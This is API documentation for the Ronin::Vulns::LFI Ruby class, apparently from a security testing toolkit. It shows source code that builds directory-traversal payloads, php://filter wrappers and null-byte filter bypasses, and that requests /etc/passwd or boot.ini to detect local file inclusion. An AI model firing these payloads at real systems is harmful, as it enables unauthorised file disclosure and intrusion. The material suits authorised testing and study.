Class: Ronin::Vulns::LFI
- Includes:
- Support
- Defined in:
- lib/ronin/vulns/lfi.rb,
lib/ronin/vulns/lfi/test_file.rb
Overview
Represents a Local File Inclusion (LFI) vulnerability.
Features
- Supports UNIX and Windows paths.
- Supports
%00
null terminator trick (fixed in PHP 5.3). - Supports Base64, ROT13, and Zlib
php://filter/
s.
Defined Under Namespace
Classes: TestFile
Constant Summary collapse
- UNIX_TEST_FILE =
The test file for UNIX systems.
TestFile.new('/etc/passwd', %r{(?:[a-z][a-z0-9_-]*:x:\d+:\d+:[^:]*:(?:/[A-Za-z0-9_-]*)+:(?:/[A-Za-z0-9_-]*)+\n)+})
- WINDOWS_TEST_FILE =
The test file for Windows systems.
TestFile.new('\\boot.ini', /\[boot loader\](?:\r?\n(?:[^\[\r\n].*)?)*\r?\n(?:\[operating system\](?:\r?\n(?:[^\[\r\n].*)?)*\r?\n)?/m)
- DEFAULT_DEPTH =
The default directory traversal depth.
6
Instance Attribute Summary collapse
-
#depth ⇒ Integer
readonly
The number of directories to traverse up.
-
#escape_path ⇒ String
readonly
The escape path to add to every LFI path.
-
#filter_bypass ⇒ :null_byte, ...
readonly
Optional filter bypass technique to use.
-
#os ⇒ :unix, ...
readonly
Targeted Operating System (OS).
-
#separator ⇒ String
readonly
The directory separator character.
-
#test_file ⇒ TestFile
readonly
The common file to test with.
Attributes inherited from WebVuln
#cookie, #cookie_param, #form_data, #form_param, #header_name, #headers, #http, #password, #query_param, #query_params, #referer, #request_method, #url, #user, #user_agent
Class Method Summary collapse
-
.vuln_type ⇒ Symbol
abstract
private
Returns the type or kind of vulnerability.
Instance Method Summary collapse
-
#encode_payload(path) ⇒ String
Builds a
../../..
escaped path for the given file path. -
#escape(path) ⇒ String
Escapes the given path.
-
#initialize(url, os: :unix, depth: DEFAULT_DEPTH, filter_bypass: nil, **kwargs) ⇒ LFI
constructor
Creates a new LFI object.
-
#vulnerable? ⇒ Boolean
Determines whether the URL is vulnerable to Local File Inclusion (LFI).
Methods inherited from WebVuln
#exploit, #exploit_cookie, #exploit_form_data, #exploit_headers, #exploit_query_params, #original_value, #random_value, #request, scan, scan_cookie_params, scan_form_params, scan_headers, scan_query_params, test, test_param, #to_curl, #to_http, #to_s
Constructor Details
#initialize(url, os: :unix, depth: DEFAULT_DEPTH, filter_bypass: nil, **kwargs) ⇒ LFI
Creates a new LFI object.
111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 |
# File 'lib/ronin/vulns/lfi.rb', line 111 def initialize(url, os: :unix, depth: DEFAULT_DEPTH, filter_bypass: nil, **kwargs) super(url,**kwargs) @os = os case @os when :unix @separator = '/' @test_file = UNIX_TEST_FILE when :windows @separator = '\\' @test_file = WINDOWS_TEST_FILE else raise(ArgumentError,"unknown os keyword value (#{@os.inspect}) must be either :unix or :windows") end case filter_bypass when :null_byte, :double_escape, :base64, :rot13, :zlib, nil @filter_bypass = filter_bypass else raise(ArgumentError,"unknown filter_bypass keyword value (#{filter_bypass.inspect}) must be :null_byte, :double_escape, :base64, :rot13, :zlib, or nil") end @depth = depth @escape_path = ("..#{@separator}" * @depth) apply_filter_bypasses end |
Instance Attribute Details
#depth ⇒ Integer (readonly)
The number of directories to traverse up
67 68 69 |
# File 'lib/ronin/vulns/lfi.rb', line 67 def depth @depth end |
#escape_path ⇒ String (readonly)
The escape path to add to every LFI path
77 78 79 |
# File 'lib/ronin/vulns/lfi.rb', line 77 def escape_path @escape_path end |
#filter_bypass ⇒ :null_byte, ... (readonly)
Optional filter bypass technique to use.
62 63 64 |
# File 'lib/ronin/vulns/lfi.rb', line 62 def filter_bypass @filter_bypass end |
#os ⇒ :unix, ... (readonly)
Targeted Operating System (OS)
57 58 59 |
# File 'lib/ronin/vulns/lfi.rb', line 57 def os @os end |
#separator ⇒ String (readonly)
The directory separator character.
72 73 74 |
# File 'lib/ronin/vulns/lfi.rb', line 72 def separator @separator end |
#test_file ⇒ TestFile (readonly)
The common file to test with.
82 83 84 |
# File 'lib/ronin/vulns/lfi.rb', line 82 def test_file @test_file end |
Class Method Details
.vuln_type ⇒ Symbol
This method is part of a private API. You should avoid using this method if possible, as it may be removed or be changed in the future.
This is used internally to map an vulnerability class to a printable type.
Returns the type or kind of vulnerability.
259 260 261 |
# File 'lib/ronin/vulns/lfi.rb', line 259 def self.vuln_type :lfi end |
Instance Method Details
#encode_payload(path) ⇒ String
- If the given path begins with
php:
, then no../../../
prefix will be added. - If initialized with
filter_bypass: :null_byte
, then a\0
character will be appended to the path.
Builds a ../../..
escaped path for the given file path.
204 205 206 207 208 209 210 211 212 213 214 215 216 217 |
# File 'lib/ronin/vulns/lfi.rb', line 204 def encode_payload(path) case @filter_bypass when :base64 "php://filter/convert.base64-encode/resource=#{path}" when :rot13 "php://filter/read=string.rot13/resource=#{path}" when :zlib "php://filter/zlib.deflate/convert.base64-encode/resource=#{path}" when :null_byte "#{escape(path)}\0" else escape(path) end end |
#escape(path) ⇒ String
Relative paths and absolute Windows paths to other drives will not be escaped.
Escapes the given path.
173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 |
# File 'lib/ronin/vulns/lfi.rb', line 173 def escape(path) if @os == :windows && path.start_with?('C:\\') # escape absolute Windows paths to the C: drive "#{@escape_path}#{path[3..]}" elsif @os == :windows && path =~ /\A[A-Z]:/ # pass through absolute Windows paths to other drives path elsif path.start_with?(@separator) # escape absolute paths "#{@escape_path}#{path[1..]}" else # pass through relative paths path end end |
#vulnerable? ⇒ Boolean
Determines whether the URL is vulnerable to Local File Inclusion (LFI).
224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 |
# File 'lib/ronin/vulns/lfi.rb', line 224 def vulnerable? response = exploit(@test_file.path) body = response.body case @filter_bypass when :base64 body.scan(Text::Patterns::BASE64).any? do |string| Base64.decode64(string) =~ @test_file end when :rot13 Crypto.rot(body,-13) =~ @test_file when :zlib body.scan(Text::Patterns::BASE64).any? do |string| Compression.zlib_inflate(Base64.decode64(string)) =~ @test_file rescue Zlib::DataError # not zlib compressed Base64, ignore end else body =~ @test_file end end |